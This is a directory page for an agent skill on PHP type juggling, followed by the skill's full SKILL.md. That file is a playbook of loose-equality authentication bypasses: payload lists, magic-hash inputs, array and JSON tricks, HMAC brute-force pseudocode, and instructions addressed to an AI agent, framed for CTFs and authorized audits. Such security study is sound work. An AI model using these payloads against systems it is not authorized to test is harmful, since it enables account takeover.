Skip to main content
skill CX Codex

type-juggling — Claude Code skill: what it does, how to install

Helps identify and bypass weak equality checks and magic hashes in PHP code paths. Useful for legacy authentication audits and CTF challenges.

Install into Claude Code · Skills CLI (Vercel) All methods and platforms ↓
npx skills add yaklang/hack-skills --skill type-juggling -a claude-code
Open on GitHub

What type-juggling does

The skill guides an agent through detecting weaknesses where PHP code relies on loose equality == instead of === or hash_equals(). It details magic hashes starting with 0e followed by digits, which the interpreter casts to float 0.0 in scientific notation. It also covers HMAC validation checks that loosely compare hashes against zero.

Payload effectiveness depends heavily on the target PHP engine version. For example, comparing "foo" == 0 evaluates to true in PHP 7, but returns false in PHP 8. Passing arrays to md5() triggers a TypeError in PHP 8 instead of producing loose null values, breaking older test vectors.

What it helps with

  • bypass password verification using magic hashes starting with 0e
  • exploit HMAC signature checks that compare loosely against zero
  • adapt loose comparison vectors between PHP 7 and PHP 8 runtimes
  • craft array or boolean payloads to alter loose condition checks

Example prompts for the agent

  • Audit this PHP authentication logic for loose comparison flaws and magic hashes
  • Find input pairs that bypass md5($a) == md5($b) under weak equality
  • Check if this token validation behaves differently between PHP 7 and PHP 8

How to install type-juggling

1Skills CLI (Vercel)

npx skills add yaklang/hack-skills --skill type-juggling -a claude-code

2Manually: put the files in place

~/.claude/skills/type-juggling/SKILL.md

Copy the whole skill folder; for one project use .claude/skills/type-juggling/

Step by step, with commands for each platform: How to install skills in Claude Code: five ways

Questions about type-juggling

How to install type-juggling in Claude Code?

Run npx skills add yaklang/hack-skills --skill type-juggling -a claude-code.

What does the type-juggling skill do?

It teaches coding agents how PHP loose equality coercion works and how to test for authentication bypasses involving == and magic hashes.

Why do 0e hashes compare equal under loose equality?

If both hash digests match the ^0e[0-9]+$ pattern, PHP treats them as scientific notation numbers. Both evaluate to float 0.0, making the == comparison true.

Source text

SKILL.md · MIT
---
name: type-juggling
description: >-
  PHP type juggling and weak comparison (`==`) bypass. Use when authentication, HMAC/signature checks, or token validation uses loose equality, numeric coercion, or hash comparisons without strict types — common in legacy PHP and CTF-style code paths.
---

# SKILL: PHP Type Juggling — Weak Comparison & Magic Hash Bypass

> **AI LOAD INSTRUCTION**: PHP `==` coercion, magic hashes (`0e…`), HMAC/hash loose checks, NULL from bad types, and CTF-style `strcmp` / `json_decode` / `intval` tricks. Use strict routing: map the sink (`==` vs `hash_equals`), PHP major version, and whether both operands are attacker-controlled. Routing note: when you encounter PHP login/signature logic or code like `md5($_GET['x'])==md5($_GET['y'])`, start with this skill; if `hash_equals`/`===` is already used, this path usually does not apply.

## 0. QUICK START

**First-pass goal**: prove the server branch treats unequal secrets/tokens as equal via coercion, not guess the real password.

### First-pass payloads (auth / token shape)

```text
password[]=x
password=
0
0e12345
240610708
QNKCDZO
true
[]
{"password":true}
admin%00
```

### Minimal PHP probes (local or `php -r` in lab)

```php
<?php
// Loose compare probes — run in target PHP major version if possible
var_dump('0e123' == '0e999');
var_dump('123a' == 123);
var_dump(md5('240610708') == md5('QNKCDZO'));
```

### Routing hints

| Clue | Next step |
|---|---|
| Source code uses `==` to compare passwords, tokens, or HMAC values | Go to Sections 1-3 |
| `md5($a) == md5($b)` or loose `sha1` comparison | Section 2 magic hashes |
| `hash_hmac(...) != '0'` or compared with `"0"` | Section 3 |
| `strcmp`、`json_decode(..., true)`、`intval` | Section 5 |

---

## 1. LOOSE COMPARISON (`==`) — TRUTH TABLE & VERSIONS

PHP compares operands with type juggling unless you use `===` or `hash_equals()` for secrets.

### 1.1 Core examples (strings vs numbers)

| Expression | Result | Mechanism (short) |
|---|---|---|
| `'0010e2' == '1e3'` | **true** | Both strings look numeric → compared as **floats**; both parse to **1000.0** (not zero — common exam trap; see next row for real “both zero”) |
| `'0e462097431906509019562988736854' == '0e830400451993494058024219903391'` | **true** | Both parse as **0.0** in scientific notation |
| `'123a' == 123` | **true** | String cast to int stops at first non-digit → `123` |
| `'abc' == 0` | **true** (PHP **7.x and earlier**) | Non-numeric string compared to int → string becomes `0` |
| `'' == 0` | **true** | Empty string → `0` |
| `'' == false` | **true** | both “falsy” in loose rules |
| `false == NULL` | **true** | loose equality |
| `0 == false` | **true** | loose equality |
| `'' == 0 == false == NULL` | **true** (chain) | Each adjacent pair is **true** under `==` (`''==0`, `0==false`, `false==NULL`) — classic “falsy” chain |
| `'0' == false` | **true** | String `'0'` is the **only** non-empty string that compares as false to boolean |
| `'php' == 0` | **false** (PHP **8+**) | PHP 8: non-numeric string **no longer** equals `0` |

### 1.2 PHP 5 vs 7 vs 8 (high-signal deltas)

| Topic | PHP 5.x / 7.x (typical) | PHP 8.0+ |
|---|---|---|
| `0 == "foo"` | **true** (string → 0) | **false** |
| String-to-number for `"123a"` | Still truncates for `(int)` / numeric compare in many `==` paths | Same idea for numeric strings; **non-numeric** vs int fixed as above |
| `md5([])` / `sha1([])` | May warn / `NULL`-like behavior in older patterns | **TypeError** for wrong types — kills classic `[]` tricks unless error handling collapses to NULL |

**Tester takeaway**: always note **PHP version** from headers, `X-Powered-By`, or fingerprint; a payload that works on PHP 7 may fail on PHP 8.

### 1.3 Safe alternative (defense / verification)

```php
hash_equals((string)$expected, (string)$actual);  // timing-safe, strict string
// or
$expected === $actual;
```

---

## 2. MAGIC HASHES (`0e…` + digits only)

When both sides are **hex-looking hash strings** that match `^0e[0-9]+$`, PHP treats them as **floats in scientific notation** → value **0.0**. Then `md5(A) == md5(B)` is **true** even though digests differ as strings.

### 2.1 Reference table (MD5 / SHA-1 and longer algos)

| Algorithm | Example input | Digest (starts with `0e` + all decimal digits) |
|---|---|---|
| **MD5** | `240610708` | `0e462097431906509019562988736854` |
| **MD5** | `QNKCDZO` | `0e830400451993494058024219903391` |
| **SHA-1** | `10932435112` | `0e07766915004133176347055865026311692244` |
| **SHA-224** | *(brute-force / precomputed)* | Example form: `0e` + decimal digits only → `==` with another such string is true |
| **SHA-256** | *(brute-force / precomputed)* | Same pattern: only strings matching `^0e\d+$` collide under `==` |

**Why it works**: `md5('240610708') == md5('QNKCDZO')` → both sides match `^0e[0-9]+$` → both interpreted as **0.0 == 0.0** → **true**.

### 2.2 Exploit pattern in code

```php
if (md5($_GET['a']) == md5($_GET['b']) && $_GET['a'] != $_GET['b']) {
    // intended: different strings, same md5 (impossible for md5)
    // actual: two different strings whose *digests* are magic hashes
}
```

### 2.3 Payload sketch (pair hunting)

```text
?a=240610708&b=QNKCDZO
```

For SHA-224/256, treat as **search problem**: brute-force inputs until digest matches `^0e\d+$`; pair two distinct inputs. Longer hashes = harder; MD5/SHA1 examples above are the usual teaching set.

---

## 3. HMAC BYPASS (LOOSE COMPARE VS `"0"` OR `0`)

If logic uses **loose** inequality against a constant:

```php
if (hash_hmac('md5', $data, $key) != '0') { /* ok */ }
// or == 0, == false with string "0e...", etc.
```

Brute-force **`$data`** (e.g. timestamp, nonce, counter) until `hash_hmac` output matches **`^0e[0-9]+$`** (for MD5 output) or the code’s specific loose rule — then the hash may compare equal to `0` or to another magic digest under `==`.

### Example (MD5-style `0e` digest for a numeric message)

| Concept | Example |
|---|---|
| Message type | Unix timestamp, incrementing id, millisecond clock |
| Timestamp brute-force pattern | Tutorials sometimes cite `1539805986` → `0e772967136366835494939987377058` as a **magic-hash style** example; **`md5('1539805986')` does not yield that digest** in stock PHP — use the idea (scan timestamps / counters until output matches `^0e[0-9]+$`) and **always verify against the exact function + key** in the target code. |
| Goal | Find `$data` such that `hash_hmac('md5', $data, $key)` matches `^0e[0-9]+$` |
| Note | Without knowing `$key`, you may still brute **`$data`** if algorithm/output are visible in a oracle; CTFs often leak or fix key |

```text
# Conceptual: try many timestamps
for t in range(T0, T1):
    if re.fullmatch(r'0e\d+', hmac_md5(str(t), key)):
        use t
```

**Mitigation**: `hash_equals($mac, $expected)` + fixed-length hex/binary encoding; never compare HMAC to bare `"0"`.

---

## 4. NULL JUGGLING (ARRAYS & TYPE ERRORS)

Invalid types can yield **`NULL`** on the compared side; loose equality to another `NULL` or coerced value may pass.

| Call | Typical PHP 7/8 behavior |
|---|---|
| `md5([])` | PHP 8: **TypeError**; older: warnings / not reliable across versions |
| `sha1([])` | Same |
| **Idea** | If error handler or custom wrapper converts failures to **`NULL`**, then `NULL == NULL` or `NULL == sha1("x")` if other side is also NULL |

```php
// CTF / broken code mental model:
@sha1($_GET['x']) == @sha1($_GET['y']);  // if both error to NULL → true
```

**Real audits**: look for **`@`**, custom `try/catch` that sets hash to `null`, or user input passed where a string is required.

---

## 5. CTF PATTERNS

### 5.1 `strcmp` / `strcasecmp` with arrays

```php
strcmp([], "password");  // NULL in PHP 7/8 (invalid args)
// NULL == 0  → true in loose compare if code does:
if (strcmp($_GET['p'], $secret) == 0)
```

Payload:

```text
?p[]=1
```

### 5.2 `intval` bypass

```php
// Hex: base 0 lets PHP interpret 0x prefix (version-dependent; always verify)
intval("0x1A", 0);   // → 26

// Octal: leading 0 can be parsed as octal with base 0
intval("010", 0);  // → 8 (classic teaching example; confirm on target PHP)

// Scientific notation: intval() alone stops at 'e'; cast via float first
intval((float) "1e2"); // → 100
```

```text
?id=0x1A
?id=010
?id=1e2
```

### 5.3 `json_decode` + `true` for associative array auth

```json
{"password": true}
```

```php
$j = json_decode($input, true);
if ($j['password'] == $stored_string) // true == "nonempty" often true — see PHP loose rules
```

### 5.4 `is_numeric` + loose compare

```php
is_numeric("0e12345");  // true
"0e12345" == 0;         // true (scientific notation → 0.0)
```

### 5.5 Deserialization + magic properties

Unserialize user input into objects whose `__toString` or properties feed into `md5($obj)` or loose compare — combine with **magic hash** strings on properties (CTF). Look for `unserialize($_…)` near `==` on hashes.

---

## 6. DECISION TREE

```text
                         +------------------+
                         | PHP loose compare|
                         | or hash == hash? |
                         +--------+---------+
                                  |
                    +-------------+-------------+
                    |                           |
             +------v------+             +------v------+
             | Uses === or |             | Uses == or   |
             | hash_equals |             | strcmp == 0  |
             +------+------+             +------+-------+
                    |                           |
               STOP (likely)              +-----v-----+
                                          | Operand   |
                                          | types?    |
                                          +-----+-----+
                           +--------------+---+--------------+
                           |              |                  |
                    +------v------+ +-----v-----+    +-------v--------+
                    | Both numeric| | One int & |    | Hash digests   |
                    | strings 0e… | | one string|    | both 0e\d+ ?   |
                    +------+------+ +-----+-----+    +-------+--------+
                           |              |                  |
                      MAGIC HASH    STRING/INT           MAGIC HASH
                      COLLISION     JUGGLING             (md5/sha1/…)
                           |              |                  |
                           +------+-------+------------------+
                                  |
                           +------v------+
                           | HMAC / MAC  |
                           | vs "0"      |
                           +------+------+
                                  |
                           brute $data
                           for 0e… digest
                                  |
                           +------v------+
                           | Arrays /    |
                           | json true / |
                           | strcmp([])  |
                           +-------------+
```

### Tool references

| Tool | Use |
|---|---|
| Local `php` CLI | Reproduce `==` behavior for target major version |
| Static code review | Grep `==`, `!=` on crypto outputs; find missing `hash_equals` |
| CTF frameworks | Payload generators for magic hashes and `0e` search |

---

**Safety & scope**: Use only on **authorized** targets (CTF, lab, written permission). This skill explains **language semantics** for defense and assessment — not a license to attack systems without consent.

© yaklang · MIT · yaklang/hack-skills

Similar skills

Everything for Security →

From the same set93

container-escape-techniques A playbook for escaping Docker, LXC and Kubernetes pods to the host: privileged mode, capabilities, docker.sock, cgroups. CX Codex +1 3,600installs linux-lateral-movement A Linux lateral movement playbook: SSH agent hijacking, key and credential harvesting, tunnels, D-Bus abuse and sudo session reuse. CX Codex +1 3,600installs windows-privilege-escalation This skill guides authorized reviews of Windows local privilege-escalation paths after a low-privilege shell is available. Use it to inspect system configuration and token context. CX Codex +1 3,600installs memory-forensics-volatility A memory forensics playbook for Volatility 2 and 3: hidden processes, code injection, credential extraction and incident timelines. CX Codex +1 3,600installs xslt-injection This skill tests XSLT injection by fingerprinting the processor and checking XXE, document() SSRF, EXSLT, and platform extension surfaces. CX Codex +1 3,600installs windows-av-evasion A playbook skill for bypassing AV and EDR on Windows: AMSI, ETW, .NET assembly loading, shellcode execution, process injection. CX Codex +1 3,600installs network-protocol-attacks A playbook for network protocol attacks: ARP spoofing, LLMNR and NBT-NS poisoning, WPAD abuse, DHCPv6 takeover, VLAN hopping. Built for internal pentests. CX Codex +1 3,600installs defi-attack-patterns A DeFi security playbook for reviewing flash loans, oracle manipulation, MEV, rounding bugs, governance exploits, bridges, and token edge cases. CX Codex +1 3,600installs

Project sponsors

Companies that keep this analytics open
Gold sponsor

Impressions, clicks and code copies — open statistics. We keep the numbers public for the same reason NeBlask itself is public. Become a sponsor